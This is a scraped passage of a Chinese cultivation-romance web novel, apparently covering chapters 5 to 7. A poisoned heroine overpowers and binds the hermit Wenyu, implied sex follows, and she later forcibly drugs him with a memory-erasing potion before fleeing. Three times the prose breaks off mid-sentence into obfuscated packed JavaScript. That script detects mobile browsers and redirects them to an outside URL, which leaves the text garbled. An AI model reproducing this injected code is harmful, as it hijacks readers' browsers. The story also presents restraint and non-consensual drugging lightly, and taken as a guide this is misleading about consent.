也或许,是没那么“恶”的余孽,三山宗的人见他好看,便把他放在囚龙谷,任他自生自灭。 商怀笙对三山宗的历史了解的毕竟浅薄,她连三山宗与四水阁不和的原因都不清楚,想要凭借自己那点微薄的见识来推断出此人的身份,几乎是不可能的。 所以,商怀笙直接开口问:“你是谁?” 问玉正思忖着要将这家伙扔回四水阁去让他们自行医治,冷不丁听到她的问询,理直气壮中带着一丝质询,他冷哼一声。 “我是你祖宗。”他横她一眼,“不知好歹,浪费了我那么多药材。” 他态度不善,还在为商怀笙弄脏他房屋的事情生气。 “抱歉。”商怀笙微微垂首,又道,“可是你先骗我。” 问玉侧目,“怪我?” 商怀笙抿唇,起身清理了自己的衣裙和地上的床褥,朝他躬身,“多谢公子救命之恩。” 她态度转变太快,问玉一哽,一时间竟不知该说些什么,又轻哼一声,默默地将屋内打扫干净,扔了个床褥在檐下。 “你以后睡在这里。”他对商怀笙说。 商怀笙摇摇头:“不便叨扰公子,我要回四水阁去。” 说着,她抬头望向头顶峭壁,一眼望不到顶,只是白雾茫茫,连飞鸟都不见。 腿伤微微发疼,但若能将断龙招来,借它飞上去倒也不是难事。 但那玩意儿桀骜不驯,未必肯听她差遣。 问玉见她脸上神色犹豫为难,便问:“你要是走了,你身上的蛊毒何解?” “师兄擅长医术,这种蛊毒不在话下。” “你知道毒情咒?” 商怀笙:“……?” 她脸上显而易见的困惑情绪,半点不加掩饰,问玉懒懒地往门框上一倚,薄唇轻启,道:“此蛊发作,欲.火焚身,唯有男女欢好可解。” 他看出此人年纪不大,心思单纯,便故意这样说来逗逗她,本以为能看到对方羞赧神色,却不想商怀笙嘴唇一抿,双颊泛起薄红,眼神中透出隐隐光芒。 从前只在元妄口中听得男女之事为世间妙事,此番生辰,她师兄便要为她寻上几位俊俏郎君来体验。 “只要我出去,这些自不必担心。”她信心满满。 问玉的神色难看起来,心道他闭关不过百年,四水阁弟子竟然已经狂放到了这种地步。 他又看一眼这个看似天真无邪实则一肚子淫邪的小姑娘,说:“既然如此,那你便自行回去吧。” 说罢,转身入门,将商怀笙关在屋外。 翌日清晨,囚龙谷大雾骤起,无风而阴冷,寒意直窜骨髓,问玉无心睡眠,起床拭剑,隐约听到门外有“咔哒咔哒”的声音。 他附耳细听,似乎是有人在磨牙,推门看去,发现商怀笙还在他屋外,瑟瑟发抖地裹着床褥,冻得上下牙都在打架。 她脸上红得异常,额上也发烫,问玉犹豫片刻,将人抱进了房中。 宋良白真该给他磕上几个头,好好谢他。 日中时候白雾才散去,商怀笙从被烈火灼烧的噩梦中惊醒,身上竟压了五六床被子,难怪她在梦中出了那么些汗。 还是熟悉的药香,熟悉的背影,商怀笙单手将被子扯开,盯着朝自己走来的问玉,心中又想起元妄师兄的话。 “人和人的相遇是缘分,错过的不会轻易回来……错过之后又遇见?那说明你们十分有缘,应当珍惜。” 这人又救了她一次,说明他们十分有缘。 而且这人又长得十分好看,那就是万分有缘。 商怀笙就这么直勾勾地盯着他,问玉把药碗放在床头,“这次没放毒。” “我叫商怀笙,敢问阁下尊名。” 商怀笙昨夜试了无数次,没能招来断龙,只能继续叨扰这位公子了。 问玉想了想,道:“你不必知道我的名字。” 他在四水阁弟子中威名远扬,这人若是知道了,定会害怕。 商怀笙歪头,“可我要在这里住下,不知道公子名讳,该如何称呼?” 问玉反问,“谁允许你住下了?” “我现在无处可去,且身受重伤,公子救我两次,想必是心善之人。”商怀笙起身,又深深一躬身,“多谢公子!” “这厚脸皮的劲儿倒真像是宋良白的弟子。” 问玉讥讽,商怀笙但他是在夸奖,端起碗来一饮而尽,便又躺了下去。 “公子大恩,怀笙定会报答。待我出了囚龙谷,定会将公子一并救出去,就算三山宗不肯,我也会护公子周全。” 救? 她把他当成什么人了。 商怀笙入宗门的时间不长,想必还不知道囚龙谷的怪物已被他斩尽,不然也不会在他面前如此狂放。 问玉不打算跟她计较,他既又给她熬了药,就没打算放任不管。 能抑制毒情咒的药材都生长在囚龙谷中,放她出去也还得回来,干脆治好了再送走,回头卖宋良白一个人情。 况且,他也真心好奇:商怀笙看上去不像是会撒谎的样子,既然她是宋良白徒弟,为何没人来告知他。 虽然三山宗四水阁分裂多年,但他与宋良白毕竟是同门师兄弟,曾经在祖师面前立过誓言,彼此收徒之时,另外两位都要参礼,哪怕只是走个过场。 这只能说明,此人并未正式拜师。 把人留在身边却不举行拜师礼,必然有蹊跷。 而且偏是这人,被下了毒情咒,又恰好落入他这囚龙谷中,一切都太为巧合,问玉怕是冲着他来的,若放着商怀笙不管,他心中难安。 * 商怀笙在问玉这里待了三日,一日三次喝着他熬的汤药,闲时便在房屋附近转一转,找寻旁的出路。 更多时候,她都坐在床边,看着书桌上的问玉,他要么在读书,要么研究药草,或是擦拭那一把看起来有些陈旧的剑。 屋内只有一张床,被商怀笙霸占着,日落时分问玉便会离开,清晨时带着药草回来。 商怀笙问过他晚上去了哪里,问玉只教她别管闲事,不愿住就滚蛋。 商怀笙木讷但不傻,就凭他敢在夜晚出入囚龙谷,且他这草屋从未被谷中阴气侵入,便知此人修为绝不简单。 他熬的汤药着实有用,夜里商怀笙常觉体内蛊虫活跃,全身燥热难解,清晨喝一碗汤药便又平复下来。 这蛊毒的确如他所说,是个大麻烦,纵使喝着药,商怀笙还是受了影响,明明只是静静地看他翻书,脑中却不合时宜地想起元妄那些被师父烧掉的小人书来。 男女交叠,极尽缠绵。 问玉并不知眼前面无表情的小辈心中想的什么,只是估摸着时间差不多了,若三日后蛊虫并未发作,便可将她送回去。 他在囚龙谷待了几十年,囚龙谷的邪物已经被他杀得七七八八,问玉隐居在此处,近些日子便觉得无聊了,想找个日子回三山宗去,但又怕兄长问起他的收获。 闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941432|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关数年,问玉一直在寻求突破之道,但是自从百年前瓶颈,便再无进益。 他不知回去该怎么面对兄长,面对那些期待他历劫成功,以身作榜的晚辈。 问玉捻着书页,心思却并没放在文字上,余光瞥见商怀笙拿起他的毛笔,在白纸上勾勾画画。 末了,她露出满意的神色,点点头,将自己的大作举起。 问玉抬眸望去,顿觉自己的眼睛受到了羞辱,“宋良白没教过你写字吗?” 商怀笙一愣,摇摇头,“是我师姐教的。” “哪个师姐,写得这样丑?” “……” 商怀笙唇角耷拉下来,眉宇间凝着不悦,“不许这么说我师姐。” 他骂宋良白时对方都没有这么大的反应,问玉不由得好奇。 “看来你和你这位师姐十分亲近。” “那是自然,从小我便跟在师姐身边。” 商怀笙把她的大作放下,“师姐的字温婉秀丽,是我幼时偷懒,没有学好。” 问玉正想说她还有点自知之明,便听见她说:“但我写的也不差呀,你瞧,飘逸灵动,颇有大家风范。” “……哪个大家?” “张旭。” 问玉一哽,“我信了你是宋良白弟子。以后在人界别这么说。” 问玉:“我怕你被人打死。” “是你不懂得欣赏。他们都夸我字好。” “谁?” “师兄和师姐。” “他们也病得不轻。” 商怀笙说不过他,白他一眼,喝了药便躺回去。 一般她躺下对方便该走了,但外面天已经黑透,问玉仍没有要离开的迹象。 商怀笙心中某处忽然有些发痒,孤男寡女,共处一室,正是许多香艳话本的开端。 她虽然还不知对方姓名,但看在他容貌姣好的份上,倒不介意和他共度春宵。 或许是蛊毒的缘故,这几日每每与他共处,商怀笙都不自觉地盯着他看,肚子里仿佛有一股邪火。 商怀笙翻身侧躺,隔着他新放上的屏风,注视着那一抹身影,夹着嗓子,想学话本中的女子,“公子……” 话音刚落,心口处的痒意迅速蔓延开来,像在酷暑下暴晒过一样,霎时全身大汗淋漓。 问玉听见她这怪腔调的喊声,扬声问道:“你又想说什么?” “……” 屏风后没人应答,飘来几声低喘。 问玉放下书走过去,床榻上的人已经把外衫扒了,趴在床边沿,半个身子悬在外面,抬头时,露出一双氤氲着水汽的双眼。 “热……” 她轻轻说着,模样可怜。 问玉很快反应过来,不由得愕然,他的药怎么会没有效果? 他下意识地想要离开,唯恐酿成大错,但又担心自己这一走,商怀笙定会生生熬死。 两难犹豫之下,便错过了最佳的逃离机会。 也不知一个蛊毒发作的人哪来的力气,竟从床上起身,一把将他拽了过去。 问玉想推开她,但手腕被她紧紧锢着,难以挪动分毫。 他蓦地想起,前日他去寻药材,在两人相见的树下,看到一个巴掌手印,而这几日相处的种种,商怀笙在许多时候都展现出不同于常人的力气。 那时他没细想,等反应过来已经晚了。 商怀笙身上滚烫,小猫似的窝在他颈间,力道却不容小觑。 问玉挣脱不得,只得喝道:“你放开我,我找旁的法子帮你。” “你知道我是谁吗?你醒了会后悔的!” 商怀笙哪还听得进去,脑子里只剩那些糜艳话本,压着嗓子在他耳边哄道:“你从了我,我绝不会亏待你。” 5. 第五章 窗外黑得幽森,偶尔飘过几道长影,房内烛火轻晃,屏风上映两相交缠的人影。 问玉鼓足了劲儿,想把她推开,可身上的人纹丝不动,甚至越发放肆,一只手将他的双腕压过头顶,另一只手在四处摸索,不甚熟练地找到了他腰间王带。 “商怀笙!”问玉低喝一声。 毒蛊发作的商怀笙脑中混沌,身上流淌的不再是血液,而似乎变成了黏稠的蜜糖,连问玉这带着些许怒气的低吼,在她听来都如雪融冰碎般悦耳。 商怀笙“嗯?”了一声,抬眸看他,眸色迷蒙,“公子,我难受……” 像只浑身发痒的狗熊,抱紧她的树干,使劲地蹭来蹭去。 “……” 她身上热气灼人,是块实实在在的烫手山芋。 问玉不禁对自己的药产生了怀疑,毒情咒并非无药可解,囚龙谷更是天然的灵药圣地,他确信自己所用的药材没错,第一碗药被商怀笙吐掉,后续他还特意加重了药量。 为何会不起效果? 一个猜测再次冒头,问玉眉头深皱,陷入艰难的抉择之中。 这事定要查个清楚,前提是让商怀笙活着撑过去,要么将她带出去找个人,要么只能他舍身取义。 商怀笙已经毒发,现在出去被人瞧见这幅模样,往后该如何立足? 可他……他是长辈,她又是宋良白的弟子,若是传出去,他的名声也要毁于一旦。 问玉趁她放松的时候抽出一只手,托起她的下巴,那张晕着红霞的小脸上露出几分痛苦的神色,“你是不是真的给我下毒了?” 看上去还有几分神志。 问玉问她:“你何时中的毒?今日是第五日?” 商怀笙点点头,歪头蹭着他的手腕,“坠崖时发现了蛊虫的迹象。” 问玉一个没留神,被她咬在虎口处,所幸她虽力气大,牙齿并不锋利,问玉闷哼一声,道: “不止五日,这蛊虫在你体内至少有六日了。” “……怎么会?”商怀笙眼神清明一瞬,“除了三山宗的人,没人会对我做这种狠毒的事情。” “三山宗弟子向来光明磊落。” 问玉为自己宗门辩解,商怀笙轻嗤一声,牙齿由他手掌转向手腕,轻咬一口。 “你帮我。”她还是那副语气,恳求都不带,近乎威胁,“不然我要难受死了。” 她还能与他对话,说明他的药也不是全无效果。 按照商怀笙的说法,她是在下山途中被人暗算被种下蛊虫,可从她发作的时间来看,这蛊虫或许已经在她体内潜伏了许久。 六日,七日,甚至更久……那人给她喂下的东西也并非蛊毒,而是用以催化蛊虫的药物。 是谁…… 这样缜密的计划,只为了把人送到他身边吗? “你究竟是谁?”问玉低声道。 商怀笙却已经没有理智来回应他了,不过片刻的功夫,已经将他剥了个精光,兴致勃勃地研究两人身上的差异。 “难怪……男女不同……” 问玉记不清自己已经多久没有这样面红耳赤过了,就这么毫无防备地暴露在微凉空气中,恨不能将自己深埋进地底。 “放——开!” 他对商怀笙出掌,反被她抓住手腕,复压在头顶,用一旁刚解下来的玉带缠起来。 “你帮帮我,很快的。”商怀笙说完,便去解自己的腰带。 ——!! 问玉紧闭双眼,暗道自己晚节不保,更恨自己清心寡欲修行多年,竟要被一个小丫头片子破了道身。 待商怀笙清醒,他定要抓她去四水阁问罪。 问玉深深呼吸,心中又生出几分无奈来,这也怪他高傲自大,没有细究商怀笙的蛊毒,盲目相信自己的医术。 其实他大可招来自己的佩剑,一剑攮死商怀笙,或是用捆妖索将她绑起来,由得她自生自灭。 怪他,怪他如此心善。 问玉又是轻叹一声,已经做好失去清白的准备,可睁开眼,只见商怀笙水蛇似的扭动,亲亲啃啃,便再没下一步动作。 “怎么不管用?”商怀笙急得呜咽,凑过来亲他的嘴唇,“怎么不管用啊!” 她快急哭了,蹭了问玉一身口水不说,蛊毒没有半点缓解。 师兄那些图都是假图,是盗版?! 问玉在她断断续续地怒骂中,猜出了事情原委,一时五味杂陈,“你看的那些书……罢了,你解开,我帮你。” “我不解,解开你就跑了!” “我说了会帮你,就不会食言。” 他也没有别的法子了,眼下的局面和他也逃不了干系,他不能看着一个年轻的生命去送死,哪怕搭上自己的道身和长辈的尊严。 “我不会跑,难道你想被这蛊毒熬死吗?” “……” 她在他肩上狠咬一口,不情不愿地解开玉带,问玉又一次捏起她的下巴,端详片刻,沉叹一声。 “商怀笙,你记好了,我叫问玉。” 说罢,俯身吻上她殷红的唇,商怀笙微微张开嘴,便觉一阵甘甜,如同沙漠降下甘霖。 三日后。 囚龙谷浓雾散去,太阳难得照进来。 问玉坐在床边,手中握着把短刀,床榻之上,商怀笙睡得正酣,睡相毫不文雅,宽大的睡衣松松垮垮,露出颈上斑驳红痕。 问玉将她的衣领整理好,执刀起身。铜镜中的他身上比商怀笙好不到哪里去,甚至因为她没轻没重,多出几处青紫瘀伤。 问玉身形微晃,心如死灰地闭上眼睛,抚摸着刀柄,只需一刀,就能将自己的作案工具毁尸灭迹。 整整三日。 他不知道自己这三日是怎么过的,只知道外面的天亮了又黑,黑了又亮。 他从生龙活虎地助人为乐,到后面逐渐到了濒死的状态,甚至不得不偷摸嗑一把灵药,才勉强帮商怀笙化解蛊毒折磨。 最可恨的是,他竟也不知不觉乐在其中,甚至忘了自己的身份,被欲念驱使,理智全无。 这实在是不应当。 问玉抬手,刀光闪过,身后传来商怀笙喑哑的嗓音:“公子。” “……” “……你醒了。” 问玉将刀收入袖中,背对着她。 “多谢公子救命之恩。”商怀笙冲他的方向道,“公子,我感觉好多了。” “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941433|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就好。” “但我腰很酸,是蛊虫未清吗?” 问玉喉间微梗,道:“不是,蛊虫已死,你没事了。” “那就好。”商怀笙起来穿好衣服,听见问玉叹气连连。 问玉转过身,迎着光,缓步走来,“我想了想,虽说这次是为救你,但既然已经有了男女之事,作为长辈,我该负起责任。你想要什么,除了以身相许,我都能给你……” 他的嘴巴一张一合,说了许多,而商怀笙只听到“负责”二字,像是触发了某个关键词,脑中一下子炸开来。 元妄师兄说过,这世上最可怕的女子,不是合欢宗的魅狐,也不是双斧门身高两米三的门主,而是那些痴情专一,要你对她负责的女子。 被这种女子缠上,那便是生生世世的累赘,要搭进去一辈子的。 元妄师兄就曾在这种女子身上栽过跟头,那女子不惜以性命相要挟,要元妄娶她,鲜血染红了四水阁的白梅——是元妄的鲜血。 那人见元妄不肯,便要拉他殉情。 此时发生在二百年前,商怀笙没有亲身经历,但常听秦湫师姐说起,以此告诫商怀笙不可学元妄那般风流多情。 商怀笙听进去了她的话,也听进去了元妄的悔恨,所以知道要避开这样的人,决不可招惹他们。 听着眼前人说出“负责”二字,商怀笙已经想象出自己鲜血喷洒,染红白梅的景象,不由得打了个寒颤。 问玉见她神色呆滞,便停下来,问她:“你觉得如何?” 商怀笙顿了片刻,笑容艰涩,“你说什么?” “我随你回四水阁,先见过宋良--见过你师父再议。” 商怀笙脑子里噼里啪啦,见师父,那就是要到师父面前去告她的状,逼她负责。有元妄师兄的教训在前,商怀笙已经可以预见她将来惨状。 血染白梅,罚跪禁阁,如果师父再心狠一点,说不定会将她发卖去蛇虫泛滥的花杨林去面壁思过。 商怀笙抖了又抖,想起背包里师兄塞的忘忧果——那是师兄身上常备的灵药 “我还不知道你的名字。” 商怀笙打着拖延时间的心思,暗暗思索该怎么悄无声息地将忘忧果喂给他。 问玉说:“我刚才说过了,我叫问玉。” “问,玉。”商怀笙轻声念着,总觉得有些耳熟,“你与三山宗的掌门年玉是什么关系?” 问玉挑眉,“他是我兄长。” “哦、哦?啊——” 商怀笙从床上弹起来,一头撞在屏风之上。 “你是三山宗的人?” “自然。” 她更不能对他负责了,那不成了四水阁的耻辱! 年玉是掌门,那他的弟弟当不是师姐口中那位性情乖戾,酷爱折磨四水阁弟子的小师叔? 听闻他一直在闭关,没想到竟是在这种地方。 问玉面色平静,看着她瞬息万变的脸色,戏谑道:“我早告诉过你,若你知道我的身份,定然会后悔。” 他伸手去扶商怀笙,露出腕上两道淤青,弯腰时领口下是雪中红梅般的光景,“你现在后悔也没用了,你破我道身,毁我清白,这事儿得有个结果。” 6. 第六章 与商怀笙意识混沌不同,这三日问玉也并非完全沉迷于情爱。 他发现商怀笙力气大的出奇,旁人蛊毒发作浑身绵软无力,商怀笙却能死死地压着他,问玉一身道行都无法撼动她分毫。 商怀笙迷迷糊糊说了很多的话,大都是些不堪入目的淫词艳语,偶尔也会呼喊秦湫与元妄的名字,小声喊难受。 这两人问玉是认识的,宋良白手底下两个年纪不大的弟子,一个娴静低调,一个风流浪荡,大概是商怀笙颇为在意的师姐师兄, 师兄师姐出现过五次,爹娘出现过一次……断龙,出现过两次。 这个名字对问玉来说太久远了,却深刻地印在他的记忆中,那把无人能降服的古剑,在四水阁安静地待了许多年。 问玉和它有一段渊源。 商怀笙的语气像他在呼唤自己的佩剑一般,还骂了声不听话的东西。 问玉心中有个猜测,那把桀骜不驯的剑,有了它的主人——这或许也是商怀笙来到他身边的原因。 若真如此,他就更不能放任商怀笙不管了,有些事,得带她回去问个清楚。 问玉满怀心事,全然没注意到商怀笙透着坏心思的眼神,“你休息一两日,我带你出去见宋良玉。” 商怀笙咬咬牙:见了师父,不得把她大卸八块? 睡谁不好,偏睡了他仇人的弟弟,宋良白那个小心眼,定然不会放过她的。 得找机会给他下药,然后离开。 问玉转身离开,商怀笙盯着他,见他走到灶台前,动手开始切一根大白萝卜。 “你做什么呢?” “你一直嚷着饿,给你做点吃的。”问玉心不在焉地说。 好机会! 商怀笙披衣下床,刚走出去两步,就捂着腰坐回去,“我腰疼!你是不是趁我睡觉打我了?” 问玉:“……你只是累了。” 师兄也没说会这么疼啊。 商怀笙顿了一会儿,感觉自己身上哪儿哪儿都不舒服,酸疼,“那里,也好凉,不舒服。” “……” “肿了,我给你抹了药。” 问玉提起菜刀,在自己脖子上比量了一下,活了这么久,第一次觉得自己这么该死。 “哦。”商怀笙抬头望去,他侧脸、脖颈,耳朵都红得要滴血似的,商怀笙思索片刻,说,“你还挺贴心的。” 师兄说了,男人得哄,得夸。 但被她夸赞的问玉显然不怎么高兴,菜刀猛地砸在菜板上,转头冲她吼道:“闭嘴!!” 夸你还不高兴。 男人心海底针。 商怀笙听话地闭上嘴,一边给自己揉着腰,一边关注着问玉的行动,趁问玉不注意,偷偷在自己的包袱里翻出了忘忧果榨出的一小瓶果汁。 浓缩果汁,效果超级加倍。 是元妄不轻易外传的灵药,只要一滴,就能让人把你忘个干干净净。 问玉端着煮好的面过来,商怀笙把药瓶攥在手中,伺机而动。 但问玉根本不吃,就盛了一碗,是给她的。 商怀笙问:“你为什么不吃?” 问玉:“我已辟谷,我又不饿。” 商怀笙有些犯难,把药瓶藏进袖子里,小口扒拉着碗里的面,问玉在对面盯着她。 气氛正安静时,问玉道:“你的力气似乎比常人大些。” 商怀笙抬头,看到他手上未消的淤青,“弄疼你了吗?” “……不要说种话!”问玉拉下衣袖遮住手腕,“女孩子家家的,怎么脑子全是□□之事!” 商怀笙:“啊?” 她这话有什么问题吗? 年纪大的就是心思多,商怀笙没追问,回答了他的问题,“是,我天生力气就比旁人大些,千斤钟万斤鼎,轻而易举。” 问玉状似不经意地聊起,“四水阁有把重剑,乃是上古杀神遗留的神器,旁人甚至无法拿起。” “断龙吗?它太不听话。” “它在你手里?” “现在没有。” 说起来就来气,商怀笙在这里都快十日了,断龙从没出现过,也不知跑去了哪里。 商怀笙也有点担心,宋良白当时叮嘱她一定要看好断龙,断龙身上杀气重,被她带出来前都是用铁链封印在地下,一旦失控后果很严重。 虽然断龙一直没认她为主,但平日在她面前也算稳定,毕竟是神器,商怀笙把它带回来数年,没出过什么乱子。 得赶紧出去了,宋良白是觉得她能钳制断龙才把它放了出来,万一它跑出去作恶,商怀笙也逃不了一顿骂。 商怀笙快速扒完面条,这一小碗根本不够,她满眼期待地看向问玉,对方一脸疑惑。 “作甚?” “还有吗?” “没有,你当我这里是面馆?” “唉!” 商怀笙长叹一声,将目光放到茶壶上,提壶给问玉倒了杯茶,“多谢师叔照料,您请喝茶。” 问玉挑眉,“你再阿谀奉承也没用,真没有了。” 商怀笙失望地把碗里的汤喝完,将茶杯往问玉的方向推了推,“师叔,我们何时回去?” “你别叫我师叔。”问玉还是没碰那杯茶,“常春阁已经分家,你既是四水阁的人,和三山宗便没有什么关系了。” 常春阁是三山宗与四水阁的前身,门派的规格虽然不大,却培养出宋良白与年玉两个惊才绝艳的少年英杰。 两人曾在日曜九天盛会上一鸣惊人,强强联手,让一个名不见经传的小小门派扬名修真界。 然而不到百年,常春阁阁主仙逝,宋良白与年玉分道扬镳,变成了现在这样水火不容的模样。 这个故事里不常出现问玉的名字,商怀笙只知道他也曾在日曜九天盛会中独占鳌头,锋芒毕露,不过那时已经代表着三山宗了。 商怀笙猜测,问玉大抵是和她师父交情浅,又与年玉是兄弟,所以对三山宗的归属感高于对常春阁。 又或者宋良白做了什么让兄弟两人厌恶之事,问玉怀恨在心。 “没关系,三百年前是一家嘛,师叔,道长救了我,我自当知恩图报。” 商怀笙油盐不进,只一门心思地想着让他喝下那杯茶。 “不止三百年了。”忆起当年,问玉有几分怅惘,他回过神,对上商怀笙的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941434|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,“我不必你报恩,我比你年长,对你做出这种事情,是我不好,我会负责。” 商怀笙听到负责二字就觉得头晕,如果问玉也到宋良白跟前去闹一通,那她就不仅是颜面尽失的问题了。 “道长,喝口水吧。” 商怀笙几乎已经把茶杯推到问玉眼皮子底下了。 问玉斜睨一眼,起身,“不渴。” 他又出了门,一抹青色衣摆在门口拂过,商怀笙挫败地托着脸,轻声叹息。 这可怎么办? 她不能带着问玉回去。 问玉又到了夜间才回来,带了一堆草药,熬出一锅紫里透黑的汤药,让商怀笙喝下,说是能够祛除残余的蛊毒。 这药比之前喝的还苦,商怀笙不愿意喝,问玉便说:“你要不喝也没关系,万一以后蛊毒再发作,可要比这次难受的多。” “这毒还会再发作吗?” “说不准,这种药之所以被列为禁药,除药性强烈外,便是它的不可控性,会潜伏在你的血液之后,汲取养分,随时有可能再卷土重来。” 问玉神色严肃,商怀笙被他哄得一愣一愣的,忍着苦乖乖把药喝了。 问玉一言不发,直到她把最后一点碗底也喝完,才道:“骗你的,你身上的蛊毒已清,以后不会再发作了。” 商怀笙:“?那这是什么药?” 问玉面无表情:“随便乱配的,没什么别的用处,就是苦。是对你不敬长辈的惩罚。” 商怀笙:“……” 呸呸呸! 为老不尊!倚老卖老! 商怀笙趴在窗口干呕起来,问玉封住她的穴道,不让她把药吐出来,商怀笙修为不敌问玉,被他定住不能动弹,骂声连连。 她骂一句,问玉就敲一下她脑袋,直到商怀笙闭嘴为止。 其实这药是他精心调配的避子汤。 按理来说,他无法和常人一样生育,但毕竟没有经验,有些事不得不防。 发生这种事已是荒唐,如果再造出冤孽,那他也无颜活在世上。 * 深夜,皎皎月光穿过囚龙谷的浓雾,照到商怀笙窗前。 假寐许久的商怀笙睁开眼,蹑手蹑脚地翻身下床,走向屏风之后。 问玉在屏风后支了一张小床,他向来少眠,晚上也都在修炼,但前几日被商怀笙折腾得厉害,疲倦不已,现也沉沉睡去。 商怀笙在他床边站了一会儿,确定他是真的睡着之后,拿出了装着忘忧果汁的药瓶,缓缓蹲下身。 商怀笙伸出手,刚触碰到问玉的鼻子,一抬头,一双目光锋利的眼眸冷冰冰地盯着她,“你在做什么?” 问玉醒了! 商怀笙一时慌了神,猛地压住问玉的肩膀,另一只手捏着他脸颊,强迫他张开口,咬开瓶塞便往他嘴里灌。 问玉被压的动弹不得,舌尖的冰凉触感让他意识到大事不妙,“你在做什么!商怀笙,你——” 商怀笙捂住他的嘴,逼他将果汁吞了下去,眼见问玉缓缓地闭上眼睛,商怀笙低头,在他脸颊落下一吻。 “对不起了道长,你是个好男孩,你一定能遇到更好的人。” 7. 第七章 商怀笙回到四水阁时,天已大亮。 她本身体质就好,腿伤在问玉的照料下也好得差不多了,商怀笙招不来断龙,便从悬崖底下徒手往上爬,硬生生爬了回去。 她一路小跑,颠颠地赶回到自己住的罗罗峰。师门上下都安静得可怕,罗罗峰里一切如故,她的房间一丝尘埃都没有。 “师姐?”商怀笙来到秦湫房门前,刚喊了一声,大门便被推开。 “怀笙!你去哪里了!”秦湫穿戴整齐,像是一夜未眠,眼下带着些许乌青,一见商怀笙便紧紧抱住了她,“你已经失踪整整九日了!” “师姐,我下山的时候迷路了,误入和神山结界中,费了好一番功夫才出来。” 商怀笙已经想好说词,她在秦湫面前素来没有隐瞒,可秦湫不喜欢元妄在外瞎胡搞,而且此事关系三山宗,商怀笙不想秦湫担心。 和神山本就多幻境结界,常有弟子误入,商怀笙这么说,也没人会起疑。 反正问玉也忘了,就当只是做了一场梦,梦醒之后除她之外无人知晓。 “回来就好!我和元妄找遍了四水阁,又在山下等了你三日,还以为你贪玩跑去了日曜城!元妄他几次去找闻惠打听也没你的消息,你若再不回来,我们都要闯进找三山宗要人了。” “师姐,对不起。”商怀笙满心愧疚,“我腿受了伤,也招不来断龙,才一直拖到今日。” “没事,回来就好,回来就好。”秦湫摸摸她的脑袋,“腿伤怎么样了,给我瞧瞧。” 商怀笙嘿嘿一笑,“已经好了,师姐,你知道的,我伤好的总比旁人快些。” “你啊,出了这么大的事情,还能笑得出来,待我更衣后,咱们去见师父,免得他担心。” 商怀笙:“也告诉师父了?” 秦湫:“我和元妄找了你许久,听沙巧说见你下了山,还以为你在山下迷了路,寻了你许久都不见踪影,这才去请示师父。” “他怎么说?肯定觉得我是沉迷于享乐忘乎所以了。” 秦湫哂笑一下,“师父刚开始是这么说的,但你迟迟不归,师父也担心起来,昨日还去三山宗找年玉师叔。” “年玉?” “嗯。” 商怀笙有些惊讶:“我竟然有这么大的面子?” 秦湫盈盈笑道:“师父其实很疼爱你,只是你不知道罢了。” 商怀笙小声嘟囔,“那的确没看出来。” “你回来就好,你先去见过师父,免得他老人家担心。” 商怀笙听她所言,先去拜见宋良白,对方见她安好,也没说什么,问候两句便让她离开。 倒是元妄,等在她门前,将她上上下下打量一遍后,再三询问,“你真的没有受伤?” “真的没有。”商怀笙理了理衣领,“腿上的伤也快好了。” “你入了哪处结界,是不是有人暗害你?” “……” 元妄说话总是一针见血,他是最了解商怀笙和三山宗弟子的恩怨的,商怀笙沉默的这几秒,便已经坐实了他的猜测。 “果然是三山宗的人,闻惠还一直说没见过你,我看就是她徒弟干的!”元妄愤怒起来。 “无凭无据,不要胡乱猜测。”秦湫比他冷静,握着商怀笙的手,拉她进屋,“你这几日辛苦了,先去歇着。” “嗯。师兄,你不要生气。” 商怀笙表现得很冷静,她既不知是谁暗害她,也不能暴露自己在囚龙谷遇到了问玉的事情,只能暂且将此事压下来。 元妄在两人的劝说下暂时压制怒火,眸光闪动,愠色未消。 商怀笙睡到午后才醒,秦湫正在她替她收拾房间,商怀笙许久没睡的这么安稳,心中一阵满足。 见她醒来,秦湫坐到床前,道:“怀笙,感觉如何了?” 商怀笙:“还是有些困。” “晚上再睡吧,你失踪这几日,丰宝他们也问过几次,你要是修养好了,可以去见见他们。对了,眼下没有证据,千万不要闹事。” “好,我听师姐的话。”商怀笙扑进秦湫的怀中,撒娇道,“师姐,晚上我想喝面条。” “好,我给你煮。”秦湫宠溺地摸着她的肩膀,又叮嘱一遍,“千万别生事。” “知道啦。” * 商怀笙失踪一事,虽没引起太大的波澜,但平日与她亲近之人都知晓此事,听秦湫说,丰宝几人还去三山宗寻过她,险些与他们大打出手。 商怀笙找到丰宝一行人,他们正在练习化灵,将剑气凝结,形成另一把剑,双剑为用,修为高深之人,能化出百剑千剑,甚至万剑齐发。 不过丰宝他们修为尚浅,化出一把都费力。 